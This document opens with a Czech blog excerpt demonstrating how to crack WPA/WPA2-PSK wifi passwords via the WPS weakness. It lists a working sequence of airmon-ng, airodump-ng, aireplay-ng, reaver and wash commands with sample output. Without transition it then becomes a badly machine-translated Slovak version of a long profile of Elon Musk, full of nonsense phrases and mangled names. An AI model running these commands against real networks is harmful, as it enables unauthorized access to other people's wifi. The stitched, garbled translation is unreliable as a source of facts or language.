Praktická ukázka prolomení WPA/WPA2-PSK přes slabinu WPS (Wifi Protected Setup) pomocí BackTrack Linux.

Zdroj: Prolomení WPA/WPA2-PSK přes WPS snadno a rychle (praxe) | mrpear.net

Prolomení WPA/WPA2-PSK přes WPS snadno a rychle (praxe)

Zhruba před čtvrt rokem jsem tady na blogu nakousl problematiku prolomení WPA-PSK přes WPS a na závěr jsem slíbil praktickou demonstraci provedení útoku. Je na čase splnit slib a proto právě nyní píši tento příspěvek, ve kterém popíši použití několika běžně dostupných nástrojů k prolomení WPS a tím získání hesla k wifi síti zabezpečené pomocí WPA(2)-PSK. Myslím si, že pro spoustu z vás to bude mnohem příjemnější čtení, než teoretické plkání v článku předchozím ;).

startx

airmon-ng start wlan0

airodump-ng mon0

reaver -i mon0 -b 11:22:33:44:55:66 -vv

[!] WARNING: Failed to associate with 11:22:33:44:55:66 (ESSID: nazev)

spustíme aireplay (první terminál)
#aireplay-ng mon0 -1 120 -a 11:22:33:44:55:66 -e název routeru (wifi sítě)

spustíme reaver (druhý terminál)
#reaver -i mon0 -A -b 11:22:33:44:55:66 -vv

[+] Associated with 11:22:33:44:55:66 (ESSID: nazev)

wash -i mon0 -C

Elon Musk: Raddest muž na svete

 7. mája 2015 Tim Tim Urban

Toto je časť 1 zo štyroch častí o spoločnosti Elon Musk.

__________

Minulý mesiac som dostal prekvapivý telefonát.

Elon Musk, pre tých neznámych, je najväčším svetovým mužom.

Použijem tento príspevok, aby som zistil, ako sa stal vlastným miliardárom a skutočnou inšpiráciou pre Iron Mana Tonyho Starka, ale momentálne nechám Richarda Bransona stručne vysvetliť veci: 1

Čokoľvek povedali skeptici, nemôže byť urobené, Elon odišiel a urobil skutočné. Pamätajte si v deväťdesiatych rokoch, kedy by sme zavolali cudzincov a poskytli im čísla kreditných kariet? Elon vysníval malú vec nazvanú PayPal. Jeho spoločnosti Tesla Motors a SolarCity robia čistú, obnoviteľnú energiu budúcnosť realitou … jeho SpaceX opäť otvorí priestor pre prieskum … je paradoxom, že Elon pracuje na zlepšení našej planéty a súčasne stavia kozmické lode, ktoré nám pomôžu odísť ono.

Takže nie, to nebol telefónny hovor, ktorý som očakával.

O niekoľko dní neskôr som sa ocitol v pyžamových nohaviciach a zúfalo sa pohyboval okolo môjho bytu, telefonoval som s Elonom Muskom. Diskutovali sme o Tesle, SpaceX, automobilovom a leteckom a slnečnom priemysle a povedal mi, čo si myslel o zmätení ľudí o každej z týchto vecí. Navrhol, že keby to boli témy, o ktorých by som mal záujem písať, a mohlo by byť užitočné, mohol by som ísť do Kalifornie a sadnúť si s ním osobne na dlhšiu diskusiu.

Tento projekt bol pre mňa jedným z najväčších nekonštruktérov v histórii. Nielen preto, že Elon Musk je Elon Musk, ale preto, že tu sú dve samostatné položky, ktoré som na chvíľu sedel v dokumente „Budúce príspevkové témy“ doslovne:

– „elektrický vs hybridný vs plynový automobil, riešenie tesla, udržateľná energia“

– „spacex, pižmo, Mars? ako sa naučiť robiť rakety? “

Už som chcel napísať o týchto témach, z toho istého dôvodu, že som napísal o umelom inteligencii – vedel som, že budú v budúcnosti veľmi dôležité, ale tiež som ich dostatočne nerozumel. A Musk vedie revolúciu v oboch týchto svetoch.

Bolo by to, ak by ste mali napísať o procese hádzania bleskov a potom jedného dňa z modrého Zeusu zavolali a spýtali sa, či by ste sa ho chceli spýtať na veľa vecí.

Tak to bolo. Plánoval som, aby som vyšiel do Kalifornie, pozrela továrne Tesla a SpaceX, stretla sa s niektorými inžiniermi v každej spoločnosti a predĺžila si s Muskom. Vzrušujúce.

Prvou objednávkou bolo mať úplnú paniku. Potreboval som si sadnúť s týmito ľuďmi – inžiniermi svetovej triedy a vedcami s raketou – a nič o tom nič nevedeli. Mala som veľa rýchleho učenia.

Problém s Elon Fucking Musk však spočíva v tom, že sa podieľa na všetkých nasledujúcich odvetviach:

• automobilový priemysel
• Aerospace
• Solárna energia
• Skladovanie energie
• satelit
• Vysokorýchlostná pozemná preprava
• A, multi-planetárna expanzia

Zeus by bol menej stresujúci.

Preto som strávil dva týždne vedúci na návšteve Západného pobrežia čítaním, čítaním a čítaním a rýchlo bolo jasné, že to bude musieť byť viacnásobné série. Je tu veľa, na čo sa dostať.

Budeme sa ponoriť hlboko do spoločnosti Musk a priemysel, ktorý ich obklopuje v nadchádzajúcich príspevkoch, ale dnes začneme presne tým, kto to je a prečo je taký veľký obchod. 12^{← kliknite na tieto}

Tvorba Elona pižma

Poznámka: Existuje skvelá biografia na Musk vychádzajúcej 19. mája, ktorú napísal technický spisovateľ Ashlee Vance. Bol som schopný dostať predbežnú kópiu a bol to kľúčový zdroj pri zostavovaní týchto príspevkov. Budem sa pýtať na stručný prehľad o jeho živote tu – ak chcete celý príbeh, získajte bio .

Musk sa narodil v roku 1971 v Južnej Afrike. Detstvo nebolo pre ňu skvelý čas – mal ťažký rodinný život a nikdy sa v škole nikdy nestretol. 2 Ale, ako ste často čítali v biósoch mimoriadnych ľudí, bol od začiatku vášnivý sebaučiaci. Jeho brat Kimbal povedal, že Elon často čítal desať hodín denne – veľa vedeckej fantázie a nakoniec aj veľa literatúry. V štvrtej triede bol neustále pochovaný v encyklopédii Britannica.

Jedna vec, ktorú sa dozviete o Musku, keď čítate tieto príspevky, je to, že ľudia považujú ľudí za počítače, ktoré sú v ich doslovom zmysle. Ľudský hardware je jeho fyzické telo a mozog. Jeho softvér je spôsob, akým sa učí premýšľať, jeho hodnotový systém, jeho zvyky a osobnosť. A učenie pre Musk je jednoducho proces „sťahovania dát a algoritmov do vášho mozgu.“ 3 Medzi jeho mnohými frustráciami s formálnym vyučovaním v triede je „absurdne pomalá rýchlosť sťahovania“ sedenia v triede, zatiaľ čo učiteľ niečo vysvetľuje a k dnešnému dňu väčšina toho, o čom vie, že sa naučil čítaním.

On sa stal konzumovaný s druhou fixáciou vo veku deväť rokov, keď dostal ruky na svoj prvý počítač, Commodore VIC-20 . Prišiel s päť kilobajtov pamäte a „ako naprogramovať“ sprievodcu, ktorý bol určený na to, aby užívateľa šesť mesiacov dokončiť. Deväť rokov starý Elon to dokončil za tri dni. Vo veku 12 rokov využil svoje zručnosti na vytvorenie videohry s názvom Blastar, ktorý mi povedal, že je „triviálna hra … ale lepšia ako Flappy Bird“. Ale v roku 1983 bolo dosť dobré, aby sa predalo počítačovému časopisu za 500 dolárov ( 1,200 dolárov v dnešných peniazoch) – nie je zlé pre 12-ročného. 3

Púsek nikdy necítil veľa spojenia s Južnou Afrikou – nezadal sa do židovskej, bielej Afrikánskej kultúry a bola to krajina nočného mora pre potenciálneho podnikateľa. Videl Silicon Valley ako zasľúbenú zem a vo veku 17 rokov opustil Južnú Afriku navždy. Začal v Kanade, čo bolo jednoduchšie miesto na prisťahovanie, pretože jeho mama je kanadským občanom a o niekoľko rokov neskôr využila vysokoškolský transfer na univerzitu v Pensylvánii ako cestu do USA. 4

Na vysokej škole sa zamyslel nad tým, čo chce so svojim životom robiť, a ako východiskový bod si kladie otázku: „Čo bude najviac ovplyvňovať budúcnosť ľudstva?“ Odpoveď, ktorú prišiel, bol zoznam piatich vecí: „internet ; udržateľná energia; prieskum vesmíru, najmä trvalé rozšírenie života mimo zeme; umela inteligencia; a preprogramovanie ľudského genetického kódu. “ 4

Bol nepochopiteľný, aký bude pozitívny vplyv týchto dvoch, a napriek tomu, že bol optimistický pre každú z prvých troch, nikdy nepomyslel na to, že by kedy bol zapojený do prieskumu vesmíru. To zanechalo internet a udržateľnú energiu ako svoje možnosti.

Rozhodol sa ísť s udržateľnou energiou. Po absolvovaní vysokej školy sa zapísal do programu Stanford PhD na štúdium kondenzátorov s vysokou hustotou energie, technológie zameranej na efektívnejšiu cestu než tradičné batérie na ukladanie energie – o ktorých vie, že môžu byť kľúčom k trvalo udržateľnej energetickej budúcnosti a pomôžu urýchliť príchod automobilového priemyslu.

Ale dva dni do programu dostal masívny FOMO, pretože to bolo v roku 1995 a „nemohol stáť len sledovať, ako internet ísť – chcel sa skočiť a urobiť to lepšie.“ 5 Takže on odišiel a rozhodol sa skôr vyskúšať internet.

Jeho prvým krokom bolo snažiť sa dostať prácu na monštrum internetu z roku 1995, Netscape. Taktika, s ktorou prišiel, bolo ísť do haly, nepozvaný, stáť tam nepríjemne, byť príliš plachý, aby si s niekým hovoril a odchádzal von.

Musk sa vrátil z nezaujímavej kariéry, keď začal spolupracovať so svojim bratom Kimbalom (ktorý nasledoval Elona v USA), aby založili svoju vlastnú spoločnosť – Zip2. Zip2 bol ako primitívna kombinácia Yelpu a Mapy Google, ďaleko predtým, než sa niečo podobalo. Cieľom bolo prinútiť firmy, aby si uvedomili, že v Žltých stránkach by sa v určitom okamihu stali zastarané a že je to dobrý nápad dostať sa do on-line adresára. Bratia nemali žiadne peniaze, spali v kancelárii a spálili pri YMCA a Elon, ich vedúci programátor, sedel obsedantne pri svojom počítači pracujúcom nepretržite. V roku 1995 bolo ťažké presvedčiť podniky, že internet je dôležitý – mnohí im povedali, že reklama na internete znie ako „najhlbšia vec, o ktorej sa niekedy dozvedeli“ 6– ale nakoniec začali hýbať zákazníkmi a spoločnosť rástla. Bolo to teplo 90-tych rokov v internetovom boomu, začínajúce firmy boli zbúrané ľavou a pravou stranou a v roku 1999 Compaq zabil Zip2 za 307 miliónov dolárov. Musk, ktorý mal 27 rokov, odštartoval s 22 miliónmi dolárov.

V tom, čo sa pre Musk stáva opakujúcou sa témou, skončil jeden podnik a okamžite prenikol do novej, zložitejšej a zložitejšej témy. Keby sa riadil pravidlom dot-com milionárov, mal by vedieť, že to, čo máš robiť po tom, ako za 90-tych rokov narazíte na veľký trh, buď odišiel do západu slnka na voľný čas a angel investoval, alebo ak stále máte ambície, založiť novú spoločnosť s niečím inými peniazmi. Ale Musk nemá tendenciu riadiť sa normálnymi pravidlami a ponoril si tri štvrtiny svojej čistej hodnoty do novej myšlienky, poburujúceho odvážneho plánu vybudovať v podstate on-line banku plnú kontrolných, úsporných a maklérskych účtov – nazývaných X.com , Zdá sa, že to teraz je menej šialené, ale v roku 1999 sa stalo neznáme spustenie internetu, ktoré sa snažilo konkurovať veľkým bankám.

V tej istej budove, ktorú X.com vypracovala, bola ďalšia internetová finančná spoločnosť s názvom Confinity, ktorú založili Peter Thiel a Max Levchin. Jednou z mnohých funkcií spoločnosti X.com bola jednoduchá služba prevodu peňazí a neskôr spoločnosť Confinity vyvinula podobnú službu. Obe spoločnosti začali vnímať silný dopyt po ich službe prevodu peňazí, ktoré dali obidvom spoločnostiam náhlu zúrivú konkurenciu a oni sa nakoniec rozhodli, že sa len zlúčia do toho, čo dnes poznáme ako PayPal.

To prinieslo množstvo vecí a konfliktných názorov – Musku sa teraz pripojil Peter Thiel a skupina ďalších veľmi úspešných internetových klukov – a napriek tomu, že spoločnosť rýchlo rástla, veci vo vnútri kancelárie neprešli hladko. Konflikty sa prehnali koncom roku 2000 a keď bol Musk na polovičnej výlete / polovičnej svadbe (s jeho prvou manželkou Justine), anti-muskový dav začal prevrat a nahradil ho ako generálneho riaditeľa s Thielom. Musk to prekvapivo zvládol a dodnes hovorí, že s týmto rozhodnutím nesúhlasí, ale rozumie tomu, prečo to urobili. Zostal vo vedúcej pozícii, pokračoval v investovaní do spoločnosti a hrával inštrumentálnu úlohu pri predaji spoločnosti na eBay v roku 2002 za 1,5 miliardy dolárov. Pink, najväčší akcionár spoločnosti, odišiel s 180 miliónmi dolárov (po zdanení). 5

Ak sa v Muskovom rozhodovaní objavil normálny životný poriadok, v tomto bode jeho života – ako neskoro bohatý 31-ročný človek v roku 2002 – to vôbec upustilo do pravidiel.

Predmetom toho, čo urobil v priebehu nasledujúcich 13 rokov, ktoré vedie k dnešnému dňu, je to, čo budeme dôkladne preskúmať po zvyšok tejto série. Zatiaľ je tu krátky príbeh:

V roku 2002, ešte predtým, než prešiel predaj PayPal, začal prudko čítať o raketovej technológii. Neskôr v tom roku, so 100 miliónmi dolárov, začal jeden z najdôležitejších a najnepodstatnejších podnikov všetkých čias: raketová spoločnosť SpaceX , ktorého cieľom bolo zmeniť reálne náklady na cestovanie do vesmíru, aby ľudia vytvorili multi-planetárny druh kolonizáciou Marsu s minimálne miliónom ľudí v nasledujúcom storočí.

Mm hm.

Potom v roku 2004, keď sa ten „projekt“ práve dostal do pohybu, sa Musk rozhodol pre viacúčelový úkon tým, že spustil druhý najnepodstaviteľnejší a najnebezpečnejší projekt všetkých čias: spoločnosť s elektrickým automobilom s názvom Tesla, ktorej stanoveným účelom bolo prevrat celosvetový automobilový priemysel tým, že výrazne urýchli príchod sveta s väčšinou elektrických vozidiel – s cieľom priniesť ľudstvo na obrovský skok smerom k trvalo udržateľnej energetickej budúcnosti. Musk to tiež osobne financoval a vylieval 70 miliónov dolárov, a to aj napriek tomu, že naposledy uspeli v USA v roku 1925 a poslednýkrát, kedy začal úspešný start elektrického auta, nikdy nebol.

A pretože prečo nie, o pár rokov neskôr, v roku 2006 hodil 10 miliónov dolárov na to, aby spolu so svojimi bratrancami našiel ďalšiu spoločnosť s názvom SolarCity, ktorej cieľom bolo prevrat vo výrobe energie vytvorením rozsiahleho distribuovaného nástroja, ktorý by nainštaloval systémy solárnych panelov na miliónoch domácností, výrazne znižujú spotrebu elektriny vyrobenej z fosílnych palív a nakoniec „urýchľujú masové prijatie trvalo udržateľnej energie“ 7.

Ak ste to všetko pozorovali počas tých štyroch rokov po predaji PayPal, myslel by si, že to bol smutný príbeh. Klamný Internetový milionár, komicky v jeho hlave s množstvom nemožných projektov, robiac všetko, čo dokázal, aby premárnil svoje bohatstvo.

Do roku 2008 to vyzeralo, že sa odohralo na list. SpaceX prišiel na to, ako vybudovať rakety, skôr ako rakety, ktoré skutočne fungovali – pokúsila sa o tri odštartovanie a všetci traja vyskočili pred dosiahnutím orbity. S cieľom zaviesť akékoľvek seriózne externé investície alebo zmluvy o užitočnom zaťažení musel SpaceX preukázať, že mohol úspešne spustiť raketu – ale Musk povedal, že má ponechané prostriedky na jedno a len jedno ďalšie spustenie. Ak sa štvrté spustenie tiež nepodarilo, SpaceX by sa urobil.

Medzitým, v oblasti zálivu, Tesla bol tiež v hovno. Museli doručiť svoje prvé auto – vozidlo Tesla Roadster – na trh, ktorý nevyzeral dobre pre vonkajší svet. Silvestrovský gossip blog Valleywag robil Tesla Roadster svoju # 1 technickú spoločnosť zlyhanie v roku 2007. To by bolo v poriadku, ak globálne hospodárstvo nebolo náhle zrazil, biť automobilový priemysel absolútne najťažšie a sacie sušenie akýkoľvek tok investícií do auta spoločnosti, najmä nové a nedovolené. A Tesla rýchlo vyčerpala peniaze.

Počas tejto dvojitej implózie svojej kariéry bola jediná vec, ktorá v živote Psyka bola stabilná a silná, jeho osemročné manželstvo, ak sa tým stabilným a silným myslíte, že sa úplne rozpadnete v rozdrvenom, rozmiešanom rozvode.

Tma.

Ale tu je vec – Musk nie je blázon a nevytvoril zlé spoločnosti. Vytvoril veľmi, veľmi dobré spoločnosti. Je to práve to, že vytvorenie spoľahlivej rakety je nepopierateľne ťažké, pretože začína začínajúca automobilová spoločnosť a pretože nikto nechcel investovať do toho, čo sa zdalo vonkajšiemu svetu ako príliš ambiciózne a pravdepodobne odsúdené podnikanie – najmä počas recesie – Musk sa musel spoliehať na vlastné osobné prostriedky. PayPal ho urobil bohatým, ale nie dostatočne bohatým na to, aby udržal tieto spoločnosti dlho na vlastnú päsť. Bez externých peňazí mal SpaceX aj Tesla krátku dráhu. Takže nie je to tak, že SpaceX a Tesla boli zlé – je to, že potrebujú viac času na úspech, a oni nemali čas.

A potom sa v najhoršej hodine všetko obrátilo.

Po prvé, v septembri 2008, SpaceX spustili svoju štvrtú raketu – a poslednú, ak sa na obežnú dráhu nepodarilo dosiahnuť užitočné zaťaženie – a to sa podarilo. Perfektne.

To bolo dosť na to, aby NASA povedala: „Sakra, poďme tomu chlapcovi skúsiť,“ a to si vyžiadalo hazardné hry a ponúkol SpaceX zmluvu vo výške 1,6 miliárd dolárov na vykonanie 12 letov pre agentúru. Rozšírená dráha. SpaceX uložené.

Nasledujúci deň na Štedrý večer v roku 2008, keď mu Musk vybral posledné peniaze, sa mu podarilo udržať Teslu, Tesla investori neochotne súhlasili s tým, aby vyrovnal svoju investíciu. Rozšírená dráha. O päť mesiacov neskôr sa začali objavovať veci a ďalšia kritická investícia dosiahla 50 miliónov dolárov od spoločnosti Daimler. Tesla bola uložená.

Zatiaľ čo rok 2008 sotva označil koniec nárazov na ceste pre pižmo, prekrásnym príbehom nasledujúcich siedmich rokov bude prudký, prenikavý úspech Elona Muska a jeho spoločností.

Od svojich prvých troch neúspešných štartov, SpaceX spustil 20-krát-všetky úspechy. NASA je teraz bežným klientom a jedným z mnohých, pretože inovácie v SpaceX umožnili spoločnostiam začať veci na miesto s najnižšími nákladmi v histórii. V rámci týchto 20 odštartovaní boli všetky druhy „prvých“ pre komerčnú raketovú spoločnosť – dodnes sa štyri subjekty v histórii, ktoré podarilo spustiť vesmírnu loď na obežnú dráhu a úspešne ju vrátiť na Zem, sú USA, Rusko, a SpaceX. SpaceX v súčasnosti testuje svoju novú kozmickú loď, ktorá prinesie ľudí do vesmíru a sú zaneprázdnení pri práci na oveľa väčšej rakete, ktorá dokáže priviesť na Marsa naraz 100 ľudí. Nedávna investícia spoločnosti Google a spoločnosti Fidelity ocenila spoločnosť za 12 miliárd dolárov.

Tesla Model S sa stala skvelým úspechom, odfúknutím automobilového priemyslu s najvyšším ratingom Consumer Reports 99/100 a najvyšším bezpečnostným hodnotením v histórii od Národnej správy diaľničnej bezpečnosti, 5,4 / 5. Teraz sa čoraz viac približujú k tomu, aby uvoľnili svojho skutočného disruptora – oveľa dostupnejší Model 3 – a trhový limit spoločnosti je oveľa menej ako 30 miliárd dolárov. Stávajú sa tak aj najúspešnejšou spoločnosťou na svete, ktorá v súčasnosti pracuje na svojom obrovskom obchode Nevada „Gigafactory“, ktorý viac ako zdvojnásobí celkovú ročnú produkciu lítium-iónových batérií na svete .

Spoločnosť SolarCity, ktorá sa stala verejnou v roku 2012, má teraz trhový limit len necelých 6 miliárd dolárov a stala sa najväčším inštalátorom solárnych panelov v USA. Teraz budujú najväčšiu továrenskú továreň na výrobu solárnych panelov v meste Buffalo a pravdepodobne vstúpia do partnerstva s firmouTesla, aby balili svoj výrobok s novou domácou batériou Tesla Powerwall .

A keďže to nestačí, vo svojom voľnom čase Musk tlačí vývoj úplne nový spôsob dopravy – Hyperloop .

V priebehu niekoľkých rokov, keď budú dokončené najnovšie továrne, budú tri spoločnosti Musk zamestnávať viac ako 30 000 ľudí. Po tom, čo sa v roku 2008 skoro prelomil a povedal priateľovi, že sa s manželkou musí „presťahovať do suterénu rodičov svojej manželky“, súčasná čistá hodnota 8 Musk sa pohybuje na úrovni 12,9 miliardy dolárov.

To všetko spôsobilo, že Musk má trochu živú legendu. Pri budovaní úspešného uvedenia do prevádzky v automobilovom priemysle a jeho celosvetovej sieti staníc Supercharger sa Musk porovnáva s vizionárskymi priemyselníkmi ako Henry Ford a John D. Rockefeller. Priekopnícka práca spoločnosti SpaceX na technológii rakiet viedla k porovnaniu s Howardom Hughesom a mnohí z nich vyvíjali paralely medzi Muskom a Thomasom Edisonom kvôli pokrokom v strojárstve, ktoré musel Musk dosiahnuť vo všetkých odvetviach. Možno najčastejšie porovnáva s Steve Jobsom za jeho pozoruhodnú schopnosť narušiť obrovské, dlho stagnujúce odvetvia s vecami, ktoré zákazníci ani nevedeli, že chcú. Niektorí veria, že bude spomínať na vlastnú triedu. Techistka a životopisca psyka Ashlee Vanceová naznačila, že to, čo Musk stavia, „má potenciál byť oveľa väčšie ako čokoľvek, čo produkuje Hughes alebo Jobs. Musk vzal priemysel, ako je kozmický a automobilový priemysel, ktorý Amerika zrejme opustila a prepracovala ich ako niečo nové a fantastické. „9

Chris Anderson, ktorý riadi TED Talks, nazýva Musk „najvýznačnejším živým podnikateľom na svete.“ Iní ho poznajú ako „skutočný Železný muž“ a nie bez akéhokoľvek dôvodu – Jon Favreau skutočne poslal Roberta Downeyho, Jr. Musk v továrni SpaceX pred natáčaním prvého filmu Iron Man, aby mohol modelovať svoju postavu mimo Musk. 10 On je dokonca aj na The Simpsons.

A to je ten muž, s ktorým som bol nejakým spôsobom v telefóne, keď som sa zúfalo pohyboval tam a späť v mojom byte, v pyžamových nohaviciach.

Vo výzve objasnil, že ma nehľadal, aby som inzeroval svoje spoločnosti – len chcel, aby som vám pomohol vysvetliť, čo sa deje vo svete okolo týchto spoločností a prečo sa deje s elektrickými autami, a vesmírnej hmoty toľko.

Zdá sa, že sa nudí najmä tým, že ľudia trávia čas písaním o ňom – cíti, že v odvetviach, v ktorých je zapojený, má toľko vecí s mimoriadnou dôležitosťou a pokaždé, keď o ňom niekto píše, chce, aby písali o dodávke fosílnych palív alebo batériách pokrok alebo dôležitosť vytvárania ľudstvo multi-planetárny (toto je obzvlášť zrejmé v intro k nadchádzajúcej biografiu na ňom, kedy autor vysvetľuje, ako to záujem Musk bol v tom, že bio písomne o ňom).

Takže som si istý, že tento prvý príspevok, ktorého názov je „Elon Musk: svetový muž s najvyššou radosťou“, ho obťažuje.

Mám však dôvody. Pre mňa existujú dve dôležité oblasti skúmania v tejto sérii:

1) pochopiť, prečo Musk robí to, čo robí. Hlboko verí, že prijal najnaliehavejšie možné príčiny, aby dal ľudstvu najlepšiu šancu na dobrú budúcnosť. Chcem preskúmať tieto príčiny do hĺbky a dôvody, pre ktoré sa o ne znepokojuje.

2) pochopiť, prečo je Musk schopný robiť to, čo robí. V každej generácii je niekoľko ľudí, ktorí dramaticky menia svet a títo ľudia stojí za to študovať. Robia veci inak ako ostatní – a myslím, že sa od nich veľa naučiť.

Pri návšteve v Kalifornii som mal na mysli dva ciele: aby som pochopil čo najlepšie, čo musel Musk a jeho tímy pracovať tak horúčkovito a prečo to tak veľmi záležalo a snažil sa získať prehľad o tom, čo to robí tak schopný zmeniť svet.

___________

Návšteva v továrňach

Tesla Factory (v severnej CA) a SpaceX Factory (v južnom Kalifornii), okrem toho, že sú obrovské, a rad, majú veľa spoločného.

Obe továrne sú jasné a čisté, lesklé a maľované biele, s veľmi vysokými stropmi. Oba sa cítia viac ako laboratóriá ako tradičné továrne. A na obidvoch miestach sa inžinieri, ktorí robia pracovné úlohy s bielymi goliermi, a technici, ktorí robia prácu s modrým golierom, sú zámerne umiestnení do rovnakej pracovnej skupiny, aby úzko spolupracovali a navzájom si sprostredkovali spätnú väzbu – a Musk si myslí, že je rozhodujúce pre tých, ktorí navrhujú stroje okolo týchto strojov, keď sa vyrábajú. A zatiaľ čo tradičné továrenské prostredie by nebolo ideálne pre inžiniera na počítači a tradičné kancelárske prostredie by nebolo dobré pracovisko pre technikov, čisté, futuristické laboratórium sa cíti správne pre obe profesie. Neexistuje takmer žiadne uzavreté kancelárie v každej továrni – všetci sú otvorení a vystavení všetkým ostatným.

Keď som sa zdvihol do továrne Tesla (do ktorej sa pripojil Andrew), bol som prvýkrát zaujatý svojou veľkosťou – a keď som sa pozrel, nebol som prekvapený, že vidím , že má druhú najväčšiu stavebnú stopu (aka základnú plochu) svet.

Továreň bola predtým spoločne vlastnená spoločnosťami GM a Toyotou, ktorá ju v roku 2010 predala spoločnosti Tesla. Začali sme celý deň s kompletnou prehliadkou továrne – mori červených robotov, ktoré vyrábali autá a boli hlúpo: 6

A ďalšie chladné veci, ako veľká časť továrne, ktorá práve vyrába automobilovú batériu, a ďalšie, v ktorých sa nachádzajú hliníkové kotúče s hmotnosťou 20 000 libier, rozrezávajú a lisujú a spájajú Teslas.

A tento obrovský lis, ktorý stojí 50 miliónov dolárov a tlačí kov s 4500 tonami tlaku (rovnaký tlak by ste dostali, keby ste na sebe nadstavili 2500 áut).

Tesla továreň pracuje na zvýšenie svojej produkcie z 30.000 áut / rok na 50.000, alebo asi 1000 za týždeň. Zdá sa, že rýchlo odčerpávajú autá, takže som bol odfúknutý, aby som sa dozvedel, že Toyota bola na 1000 kuse za deň, keď obývali továreň.

Mal som šancu navštíviť dizajnérske štúdio Tesla (bez obrázkov), kde na projekčných plátnach boli návrhári načrtnutí návrhov automobilov a na druhej strane miestnosti modelové modely automobilov z hliny. Aktuálna hliníková verzia nadchádzajúceho modelu 3 bola obklopená špecialistami, ktorí ju vytesali malými nástrojmi a čepeľami, pričom odoberali zlomky milimetra, aby preskúmali, ako sa svetlo odrazilo od kriviek. K dispozícii bola aj 3D tlačiareň, ktorá by mohla rýchlo „vytlačiť“ model 3D modelu obuvi so skresleným dizajnom Tesla, aby dizajnér mohol vlastne držať svoj dizajn a pozerať sa na to z rôznych uhlov. Láskavo futuristický.

Nasledujúci deň bola továreň SpaceX, ktorá by mohla byť ešte chladnejšia, ale budova obsahuje pokrokovú technológiu rakiet, ktorá podľa vlády je „technológia zbraní“ a zjavne náhodné blogeri nemajú možnosť fotografovať technológiu zbraní.

Mimochodom, po turné som mal možnosť sedieť s niekoľkými vedúcimi inžiniermi a dizajnérmi v oboch spoločnostiach. Vysvetlili by, že sú najdôležitejšími odborníkmi v ich oblasti, vysvetlil by som, že nedávno som zistil, akú veľkú budovu by mohli mať všetci ľudia a začali by sme diskutovať. Spýtal by som sa ich na ich prácu, na ich myšlienky na spoločnosť ako celok a na širší priemysel, a potom by som sa ich spýtal na ich vzťah s Elonom a na to, aké to bolo pracovať pre neho. Bez výnimky boli naozaj pekne zdanliví a priateľskí ľudia, ktorí všetci vystupovali ako smiešne, ale nestranne. Musk povedal, že má prísnu politiku prijímania „bez zadku“ a ja som mohol vidieť, že v práci na týchto stretnutiach.

Takže to, čo je Musk ako šéf?

Začnime tým, že uvidíme, čo hovorí internet – je to vlákno Quora, ktoré kladie otázku: „Aké to je pracovať s Elonom Muskom ?“

Prvá odpoveď je od dlhoročného zamestnanca SpaceXu, ktorý tu už nepracuje a ktorý opisuje deň, kedy sa nepodarilo ich tretie spustenie, ničivý úder pre spoločnosť a pre všetkých ľudí, ktorí dlhé roky pracovali, aby sa pokúsili o to, aby fungovali.

Ona popisuje Elona, ktorý sa vynoril z misie, aby sa zaoberal spoločnosťou a vydal povzbudzujúci prejav. Odkazuje na Elonovu „nekonečnú múdrosť“ a hovorí: „Myslím, že väčšina z nás by ho nasledovala do brány pekla nesúceho opaľovací olej. Bolo to najpôsobivejší prejav vodcovstva, aký som kedy videl. “

Práve pod tou odpoveďou je ďalšia odpoveď od anonymného inžiniera SpaceX, ktorý popisuje prácu pre pižmo ako toto:

„Vždy môžete povedať, kedy niekto odišiel z stretnutia Elona: oni sú porazení … nič, čo niekto urobíte, bude dostatočne dobré, takže musíte nájsť svoju vlastnú hodnotu, nezávisiac od chvály, aby ste sa dostali cez zjavne nedostatočné 80-hodinové pracovné týždne. “

Pri čítaní o Musk online a vo Vanceovej knihe som bol ohromený tým, ako reprezentatívne oba tieto komentáre Quora boli z celého tábora názorov na prácu pre Musk. Vyzerá to tak, že prináša obrovské množstvo adorácie a obrovské množstvo rozčúlenia, niekedy s tónom horkosti – a ešte viac zvláštne, veľa času, počujete obe strany tohto príbehu vyjadrené tou istou osobou. Napríklad neskôr v komentári k výstrednému komentárovi Quora príde „Spolupráca s ním nie je príjemná skúsenosť, nikdy nie je spokojný so sebou, takže nikdy nie je spokojný s niekým, kto je okolo neho … výzva je, že je strojom a ostatné z nás nie sú. „A frustrovaný anonymný komentátor neskôr pripúšťa, že spôsob, akým Elon je“ zrozumiteľný „vzhľadom na obrovskú úlohu,

Moje vlastné rozhovory s inžiniermi a dizajnérmi Musku povedali podobný príbeh. Povedali mi: „Elon vždy chce vedieť:“ Prečo nejdeme rýchlejšie? “ Vždy chce väčšie, lepšie a rýchlejšie „tým istým osobám, ktoré o pár minút neskôr zdôrazňovali, aká spravodlivá a premyslenená Musk má tendenciu byť v zaobchádzaní s podmienkami pre nedávno vypáleného zamestnanca.

Tá istá osoba, ktorá mi povedala, že má „veľa bezesných nocí“, uviedla v priloženej vete, aké šťastné má byť v spoločnosti a že dúfa, že „nikdy neopustí“.

Jeden vedúci pracovník opísal interakciu s Muskom takto: „Akákoľvek konverzácia je pomerne vysoká, pretože bude veľmi presvedčená a môže ísť hlbšie, ako ste očakávali, alebo ste pripravení alebo hlbšie, ako vaše vedomosti prechádzajú na danú tému. cítiť sa ako vysoký drôtový akt, ktorý s ním spolupracuje, hlavne keď sa ocitnete v technickom nesúhlase. “ 7 Rovnaký výkonný riaditeľ, ktorý predtým pracoval v obrovskej technickej spoločnosti, tiež nazýval Musk“ najzákladnejším miliardárom, kedy pracoval. “

To, čo som začal chápať, je, že vysvetlenie oboch strán príbehu – kultové zvesenie hneď vedľa neochvejnej ochoty vydržať to, čo znie ako nepríjemné peklo – prichádza k rešpektovaniu. Ľudia, ktorí pracujú pre Musk, bez ohľadu na to, ako sa cítia o svojom štýle riadenia, cítia obrovské množstvo rešpektu – pre svoju inteligenciu, pre svoju pracovnú etiku, pre svoje vnútornosti a pre závažnosť misií, ktoré uskutočnil, misie, všetky ostatné potenciálne pracovné miesta sa zdajú triviálne a zbytočné.

Mnohí z ľudí, s ktorými som hovoril, tiež poukázali na ich rešpekt voči svojej celistvosti. Jednou zo spôsobov, ktorými prechádza táto integrita, je jeho konzistencia. Hovorí to isté v rozhovoroch za desať rokov, často používajúc rovnaké presné frázy na mnoho rokov. Hovorí, čo to naozaj znamená, bez ohľadu na situáciu – jeden zamestnanec v blízkosti Muska mi povedal, že po tlačovej konferencii alebo obchodnom rokovaní, kedysi v súkromí, požiada Muska, aký je jeho skutočný uhol a čo si naozaj myslí. Muskova reakcia by bola vždy nudná: „Myslím, že presne to, čo som povedal.“

